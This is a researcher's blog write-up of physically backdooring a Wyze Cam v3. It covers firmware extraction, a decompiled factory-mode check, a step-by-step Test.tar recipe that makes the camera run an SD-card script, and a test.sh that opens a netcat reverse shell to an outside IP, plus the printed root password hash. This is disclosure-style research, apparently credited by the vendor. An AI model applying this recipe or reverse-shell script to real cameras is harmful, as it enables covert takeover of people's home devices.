How I physically backdoored Wyze Camera v3

How I physically backdoored Wyze Camera v3

·

8 min read

Update 9/8/2023: I got a credit from Wyze team here

At the time I'm writing this blog, the newest Wyze camera firmware version is 4.36.11.4679. You can directly download the firmware here or refer to the vendor's website.

After I got the firmware downloaded, I renamed it to demo_wcv3.bin and tried to follow this instruction in order to manually flash the new firmware, but it didn't work.

So I extracted it using the command binwalk -eM demo_wcv3.bin and inspected it manually.

Here are the files after extraction:

┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ ls -la
total 21016
drwxrwxrwx  7 kali kali    4096 Jul 25 04:35 .
drwxr-xr-x 10 kali kali    4096 Jul 25 04:19 ..
-rwxrwxrwx  1 kali kali 2881084 Jul 25 04:19 1F0040.squashfs
-rwxrwxrwx  1 kali kali 3379782 Jul 25 04:19 5C0040.squashfs
-rwxrwxrwx  1 kali kali 5808244 Jul 25 04:19 80
-rwxrwxrwx  1 kali kali 9412608 Jul 25 04:19 80.7z
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 _80.extracted
drwxrwxrwx 22 kali kali    4096 Jul 25 04:19 squashfs-root
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 squashfs-root-0
drwxrwxrwx  8 kali kali    4096 Jul 25 04:19 squashfs-root-1
drwxrwxrwx  2 kali kali    4096 Jul 25 04:19 squashfs-root-2

I also tore down 2 Wyze v3 cameras for inspection, one with the older firmware that I can get into root shell via UART, and the other with the newest firmware that has no shell because it is equipped better root password.

Here is the UART pinouts if you are interested:

You can try extracting the password hash and breaking it on your own, but it looks much more secure:

┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ find . | grep shadow               
./squashfs-root/etc/shadow

┌──(kali㉿kali)-[~/Desktop/_demo_wcv3.bin.extracted]
└─$ cat ./squashfs-root/etc/shadow 
root:$6$wyzecamv3$8gyTEsAkm1d7wh12Eup5MMcxQwuA1n1FsRtQLUW8dZGo1b1pGRJgtSieTI02VPeFP9f4DodbIt2ePOLzwP0WI0:0:0:99999:7:::

While inspecting the bootlogs via UART, I found out there was quite interesting part of the code somewhere that is looking for a file named Test.tar :

 __________________________________
|                                  |
|                                  |
|                                  |
|                                  |
| _   _             _           _  |
|| | | |_   _  __ _| |     __ _(_) |
|| |_| | | | |/ _| | |  _ / _| | | |
||  _  | |_| | (_| | |_| | (_| | | |
||_| |_|\__,_|\__,_|_____|\__,_|_| |
|                                  |
|                                  |
|_____2020_WYZE_CAM_V3_@HUALAI_____|


WCV3 login: [    1.248833] @@@@ tx-isp-probe ok(version H20200506a), compiler date=May  6 2020 @@@@@
[    1.287215] exFAT: Version 1.2.9
[    1.314206] jz_codec_register: probe() successful!
[    1.725724] dma dma0chan24: Channel 24 have been requested.(phy id 7,type 0x06 desc a0682000)
[    1.734817] dma dma0chan25: Channel 25 have been requested.(phy id 6,type 0x06 desc a0625000)
[    1.743996] dma dma0chan26: Channel 26 have been requested.(phy id 5,type 0x04 desc a07d4000)
[    1.816013] jz_pwm_probe[255] d_name = tcu_chn0
[    1.822279] The version of PWM driver is H20180309a
[    1.832702] request pwm channel 0 successfully
[    1.838984] pwm-jz pwm-jz: jz_pwm_probe register ok !
[    2.073137] RTL871X: module init start
[    2.078381] RTL871X: rtl8189ftv v4.3.24.7_21113.20170208.nova.1.02
[    2.084766] RTL871X: build time: Dec 18 2020 16:40:08
[    2.090031] wlan power on by hualai
[    2.105791] RTL871X: module init ret=0
[    2.123004] usbcore: registered new interface driver usb_ch34x
[    2.130403] ch34x: USB to serial driver for USB to serial chip ch340, ch341, etc.
[    2.138186] ch34x: V1.16 On 2020.12.23
[    2.151689] mmc1: card claims to support voltages below the defined range. These will be ignored.
Updating device time to:
Sun Feb 14 19:36:56 CST 2021
[    2.177094] mmc1: new SDIO card at address 0001
===========welcome to ver-comp tool=========
[    2.192296] RTL871X: ++++++++rtw_drv_init: vendor=0x024c device=0xf179 class=0x07
[    2.237058] RTL871X: HW EFUSE
[    2.240134] RTL871X: hal_com_config_channel_plan chplan:0x20
[ver-comp]dbg: appver:  4.36.0.280
[ver-comp]dbg: rootver: 4.36.0.112
[ver-comp]exec cmd: cp -rf /system/bin/app.ver /configs/
#######################
#   IS USER PROCESS   #
#######################
[    2.377273] RTL871X: rtw_regsty_chk_target_tx_power_valid return _FALSE for band:0, path:0, rs:0, t:-1
[    2.387880] RTL871X: rtw_ndev_init(wlan0) if1 mac_addr=40:24:b2:08:66:8a
[FC] cd pin not found tfcard
[FC] Test.tar no exist
[FC] In [user] mode!

After searching around in the extracted firmware, I found out that it's probably this piece of bash script in squashfs-root-1/init/app_init.sh that did the file checking:

############### Select user mode or debug mode ###############
DEBUG_STATUS='/configs/.debug_flag'

if [ ! -f $DEBUG_STATUS ]; then
    echo "#######################"
    echo "#   IS USER PROCESS   #"
    echo "#######################"
    /system/init/factory.sh &
    /system/bin/factorycheck

    if [ -f /tmp/factory ]; then
        exit
    fi

    ...
else
    sleep 0.5
    echo "#######################"
    echo "#   IS DEBUG STATUS   #"
    echo "#######################"
fi

So I opened the squashfs-root-1/bin/factorycheck binary using Ghidra, and quickly found out the pieces of code that output all those logs:

undefined4 FUN_00400a60(void)

{
  int iVar1;
  byte *pbVar2;
  size_t sVar3;
  FILE *__stream;
  byte *pbVar4;
  byte *pbVar5;
  char *pcVar6;
  uint uVar7;
  char acStack_218 [256];
  byte local_118 [64];
  byte local_d8 [64];
  char acStack_98 [64];
  byte local_58 [68];

  memset(acStack_218,0,0x100);
  memset(local_58,0,0x40);
  memset(acStack_98,0,0x40);
  memset(local_d8,0,0x40);
  memset(local_118,0,0x40);
  iVar1 = access("/media/mmc/Test.tar",0);
  if (iVar1 == 0) {
    system("tar -xvf /media/mmc/Test.tar -C /tmp/");
    puts("[FC] Test.tar exist");
    FUN_00400850("/tmp/Test/singleBoadTest",local_d8);
    uVar7 = 0;
    FUN_00400850("/tmp/Test/factoryTestProcess",local_118);
    while( true ) {
      sVar3 = strlen((char *)local_d8);
      pbVar5 = local_118 + uVar7;
      if (sVar3 <= uVar7) break;
      pbVar4 = local_d8 + uVar7;
      pbVar2 = local_58 + uVar7;
      uVar7 = uVar7 + 1;
      *pbVar2 = *pbVar5 ^ *pbVar4;
    }
    __stream = fopen("/tmp/Test/checksum","rb");
    if (__stream == (FILE *)0x0) {
      pcVar6 = "[FC] Test.tar checksum no exist";
    }
    else {
      sVar3 = fread(acStack_98,1,0x40,__stream);
      fclose(__stream);
      iVar1 = strncmp(acStack_98,(char *)local_58,sVar3);
      if (iVar1 == 0) {
        system("touch /tmp/factory");
        pcVar6 = "[FC] In [factory] mode!";
        goto LAB_00400cac;
      }
      pcVar6 = "[FC] Test.tar checksum no right";
    }
    puts(pcVar6);
    system("rm /tmp/Test/ -rf");
  }
  else {
    puts("[FC] Test.tar no exist");
  }
  iVar1 = access("/dev/mmcblk0p1",0);
  if ((iVar1 == 0) && (iVar1 = access("/media/mmc",0), iVar1 == 0)) {
    pcVar6 = "umount /dev/mmcblk0p1";
LAB_00400c7c:
    strcpy(acStack_218,pcVar6);
    system(acStack_218);
    puts("[FC] umount tfcard finish!");
  }
  else {
    iVar1 = access("/dev/mmcblk0",0);
    if ((iVar1 == 0) && (iVar1 = access("/media/mmc",0), iVar1 == 0)) {
      pcVar6 = "umount /dev/mmcblk0";
      goto LAB_00400c7c;
    }
  }
  system("touch /tmp/usrflag");
  pcVar6 = "[FC] In [user] mode!";
LAB_00400cac:
  puts(pcVar6);
  return 0;
}

undefined4 FUN_00400850(undefined4 param_1,void *param_2)

{
  FILE *__stream;
  size_t __n;
  undefined auStack_90 [64];
  char acStack_50 [64];

  memset(acStack_50,0,64);
  memset(auStack_90,0,64);
  snprintf(acStack_50,64,"md5sum %s > /tmp/mdtxt",param_1);
  system(acStack_50);
  __stream = fopen("/tmp/mdtxt","rb");
  __n = fread(auStack_90,1,0x40,__stream);
  fclose(__stream);
  if (0 < (int)__n) {
    memcpy(param_2,auStack_90,__n);
    printf("get_uploadfile_md5:[%d][%s]\n",__n,param_2);
  }
  return 1;
}

At a high-level concept, what the code does was:

  • Extract Test.tar to /tmp : tar -xvf /media/mmc/Test.tar -C /tmp/

  • Get md5 hashes of /tmp/Test/singleBoadTest and /tmp/Test/factoryTestProcess, save the hashes to local_d8 and local_118:

      FUN_00400850("/tmp/Test/singleBoadTest",local_d8);
      FUN_00400850("/tmp/Test/factoryTestProcess",local_118);
    
  • Xor the hashes and save them to pbVar2 :

      while( true ) {
        sVar3 = strlen((char *)local_d8);
        pbVar5 = local_118 + uVar7;
        if (sVar3 <= uVar7) break;
        pbVar4 = local_d8 + uVar7;
        pbVar2 = local_58 + uVar7;
        uVar7 = uVar7 + 1;
        *pbVar2 = *pbVar5 ^ *pbVar4;
      }
    
  • Check if pbVar2 is equal with /tmp/Test/checksum, if yes then create /tmp/factory file

      __stream = fopen("/tmp/Test/checksum","rb");
      if (__stream == (FILE *)0x0) {
        pcVar6 = "[FC] Test.tar checksum no exist";
      }
      else {
        sVar3 = fread(acStack_98,1,0x40,__stream);
        fclose(__stream);
        iVar1 = strncmp(acStack_98,(char *)local_58,sVar3);
        if (iVar1 == 0) {
          system("touch /tmp/factory");
          pcVar6 = "[FC] In [factory] mode!";
          goto LAB_00400cac;
        }
        pcVar6 = "[FC] Test.tar checksum no right";
      }
      puts(pcVar6);
      system("rm /tmp/Test/ -rf");
    

Ok, so it seems like all of these codes were only to decide whether to create the /tmp/factory file which served as a flag for something. So how do we get a shell from this?

Well, the interesting part lies in squashfs-root-1/init/factory.sh which were executed along with the factorycheck script inside the app_init.sh above:

#!/bin/sh

while [ 1 ]
do
    sleep 0.1;
    if [ -f /tmp/factory ]; then
        /tmp/Test/test.sh &
        break
    fi
    if [ -f /tmp/usrflag ]; then
        break
    fi
done

From this part, my execution plan was clear:

  • Create a Test folder which contains:

    • singleBoadTest: Blank file

    • factoryTestProcess: Blank file

    • checksum : Xor of the md5 hashes of 2 blank files above, which of course contains b'\0' * 32

    • /tmp/Test/test.sh : Our injection script for shell

  • tar -cvf Test.tar Test/

  • Copy Test.tar to the SDCard

  • Plug it into the device, reboot, and enjoy (no need to teardown or do anything abnormally at all)

Here is the script I put into test.sh for the reverse shell. Because when switched into test mode the device wouldn't run any network initialization at all so I had to initialize them on my own. I put my wpa_supplicant.conf at /media/mmc/full-firmware/tmp/wpa_supplicant.conf which is inside the SDCard. I also grabbed a better version of busybox-mipsel binary from here to be able to use netcat.

mkdir /media/mmc
mount /dev/mmcblk0p1 /media/mmc
ifconfig wlan0 up
wpa_supplicant -c /media/mmc/full-firmware/tmp/wpa_supplicant.conf -i wlan0 &
udhcpc -i wlan0
while true; do
    /media/mmc/full-firmware/tmp/busybox-mipsel nc <IP> 1337 -e /bin/sh
    sleep 1
done

If everything went well, you will see these logs after reboot:

[FC] mount tfcard finish!
Test/
Test/checksum
Test/factoryTestProcess
Test/singleBoadTest
Test/test.sh
[FC] Test.tar exist
get_uploadfile_md5:[59][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/singleBoadTest
]
get_uploadfile_md5:[63][d41d8cd98f00b204e9800998ecf8427e  /tmp/Test/factoryTestProcess
]
[FC] In [factory] mode!
mkdir: can't create directory '/media/mmc': File exists
mount: mounting /dev/mmcblk0p1 on /media/mmc failed: Device or resource busy
udhcpc: started, v1.33.1
udhcpc: sending discover
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
nl80211: Could not re-add multicast membership for vendor events: -2 (No such file or directory)
wlan0: CTRL-EVENT-REGDOM-CHANGE init=BEACON_HINT type=UNKNOWN
wlan0: Trying to associate with 10:39:4e:fb:bf:f0 (SSID='<redacted>' freq[    5.851126] RTL871X: rtw_set_802_11_connect(wlan0)  fw_state=0x00000008
=2412 MHz)
[    5.940730] RTL871X: start auth
[    6.288097] RTL871X: auth success, start assoc
[    6.337639] RTL871X: assoc success
wlan0: Associated with 10:39:4e:fb:bf:f0
wlan0: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
[    6.438169] RTL871X: recv eapol packet
[    6.442789] RTL871X: send eapol packet
[    6.462905] RTL871X: recv eapol packet
[    6.537203] RTL871X: send eapol packet
[    6.543331] RTL871X: set pairwise key camid:4, addr:10:39:4e:fb:bf:f0, kid:0, type:AES
wlan0: WPA: Key negotiation completed w[    6.554394] RTL871X: set group key camid:5, addr:10:39:4e:fb:bf:f0, kid:2, type:AES
ith 10:39:4e:fb:bf:f0 [PTK=CCMP GTK=CCMP]
wlan0: CTRL-EVENT-CONNECTED - Connection to 10:39:4e:fb:bf:f0 completed [id=0 id_str=]
udhcpc: sending discover
udhcpc: sending select for 192.168.1.44
udhcpc: lease of 192.168.1.44 obtained, lease time 86400
deleting routers
adding dns 192.168.1.1

And yes, the shell:

Did you find this article valuable?

Support T-Rekt by becoming a sponsor. Any amount is appreciated!